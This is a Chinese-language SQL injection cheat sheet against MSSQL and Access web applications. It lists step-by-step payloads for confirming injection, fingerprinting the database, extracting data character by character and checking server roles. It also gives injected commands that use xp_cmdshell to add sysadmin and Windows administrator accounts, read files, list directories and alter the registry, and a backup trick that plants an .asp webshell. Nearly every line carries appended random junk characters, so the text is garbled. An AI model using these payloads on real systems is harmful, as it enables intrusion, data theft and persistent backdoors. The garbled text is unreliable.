1.判断是否有注入;and 1=1 ;and 1=2 n=AcN
2.初步判断是否是mssql ;and user>0 x}V&v?1{5
a ~W
3.注入参数是字符'and [查询条件] and ''=' U%[ye0@:
lBAu@M
4.搜索时没过滤参数的'and [查询条件] and '%25'=' Kr `/sWZ
ecR)8^1 '
5.判断数据库系统 ]^>:)q
=
;and (select count(*) from sysobjects)>0 mssql J_-fs#[x
vLyazVj..
;and (select count(*) from msysobjects)>0 access B&0W P5OF
%~gI+0HK
X)+6>\
r\Kcg~D>
6.猜数据库 ;and (select Count(*) from [数据库名])>0 =6"5kz10
{<Gp5j
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 o0|Ex\
pe\Nwq
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Im@OAR4,R
={V@Y-5T
9.(1)猜字段的ascii值(access) Pnm$g;`P
{ I\og
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 SY%y *6[6
0y?;o*&U\
(2)猜字段的ascii值(mssql) pRL:,q\
gZ7R^]
k
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 UxzF5V5
2Q5 @2jT
10.测试权限结构(mssql) bv b\G
z ynu0X
AX<f$%iqD
KAI2[ gs
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- +@?'dw
uLWu. Vx
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- .kn2M&P>=
o ]z#~^w
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- &} `a"tYr
#kq!{5,
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- q CYu@Ho
wWiYxBeN
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Q}KOb4D
Jou*e%
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- tqCkqmyC
' BS.:^
;and 1=(select IS_MEMBER('db_owner'));-- (;%T]?<9#
&ah%^Z4um
oW6Hufu+o
wK#*|
11.添加mssql和系统的帐户 vc&+qI+I3
Hz2Sx1.i
;exec master.dbo.sp_addlogin username;-- J'$NBws
;exec master.dbo.sp_password null,username,password;-- dIlpo0; F
||awNSt
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- bvB',yBZ
dnU-v7k,{
;exec master.dbo.xp_cmdshell 'net user username password J:Qx5;b;
/Xb4'Qj
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- Y%;X7VxU*
MJ1qU}+]
;exec master.dbo.xp_cmdshell 'net user username password /add';-- tZz%x?3G
]rH[+t-
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ?X@[ibH6
H?J:_1
_#6Qf
h\w;SDwOk
12.(1)遍历目录 ,)#rD9ZnC
MK)}zjw
;create table dirs(paths varchar(100), id int) 1BU97!
5)lcgvp
;insert dirs exec master.dbo.xp_dirtree 'c:\' 1p$(\
"8ellKh
;and (select top 1 paths from dirs)>0 Kq-1 b
n9}BT^4 v
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 85q/|9D
YRX^fZ-b
,v>;/qm
%\HPYnIe
(2)遍历目录 8Sj<,+XFq
wGKxT
ap
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- "T5oUy&i
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 k1f<(@*`
cr{yy :D
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 4A6Y
\Z XI
sA|SOAn
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 T :d+Qz\
xw
43P.
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 R P<M
,#3Aaw
EHm*~Sd
e,_Sj(R8
13.mssql中的存储过程 0lg'QG>
(4/"uj5
xp_regenumvalues 注册表根键, 子键 $Z#~wsw
}%/mPbd#
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 XNJZ~Mowb
#xGP|:m
xp_regread 根键,子键,键值名 j;]I
-M[
!~~KM?g
;exec xp_regread RdWn =;
KYm8|]'g
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 s0f+AS|}
yj4"eDg]
xp_regwrite 根键,子键, 值名, 值类型, 值 N{HAWB{
i~]60M>
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 >B**fZ~L
ZY`9
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Uq#2~0n>
%Tp
k1
xp_regdeletevalue 根键,子键,值名 3Z9Yzv)A
92<+ug =
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 = +MF@ 4
zMbFh_dcq
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 18rV Acj
Y:TfD{Xgc
QjY}$
7CH&n4v
14.mssql的backup创建webshell KJec/qca
cLf90|YFp
use model L{%L*z9J
FXJ0
G>F
create table cmd(str image); %u66H2
uD=Kar
insert into cmd(str) values (''); yC\UT
~j/
z.-yL,Rc`-
backup database model to disk='c:\l.asp'; +\Jo^\
+a.2\Qt2A
|JIlp"[
ZL<X*l2
15.mssql内置函数 F8-GnTxa
SED52$zA
;and (select @@version)>0 获得Windows的版本号 Wn@oG@}~
5WHz_'c
;and user_name()='dbo' 判断当前系统的连接用户是不是sa zU&Iy_Ke.
qSr]d`7@
;and (select user_name())>0 爆当前系统的连接用户 giNXXjl
J\*uW|=F
;and (select db_name())>0 得到当前连接的数据库 _F6<ba}o3
^t4^gcoZ4Z
';FJs&=I
wz`% (\
16.简洁的webshell piM4grg
\
$TXiWW+
use model |hika`35K
3 k/E$wOj
create table cmd(str image); \[3~*eX6
h6D4CT
insert into cmd(str) values (''); )mm0PJF~q
_{k*JT2
backup database model to disk='g:\wwwtest\l.asp';